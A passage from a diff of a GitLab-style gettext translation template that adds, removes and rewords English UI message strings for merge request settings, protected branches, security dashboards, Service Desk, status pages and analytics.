+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
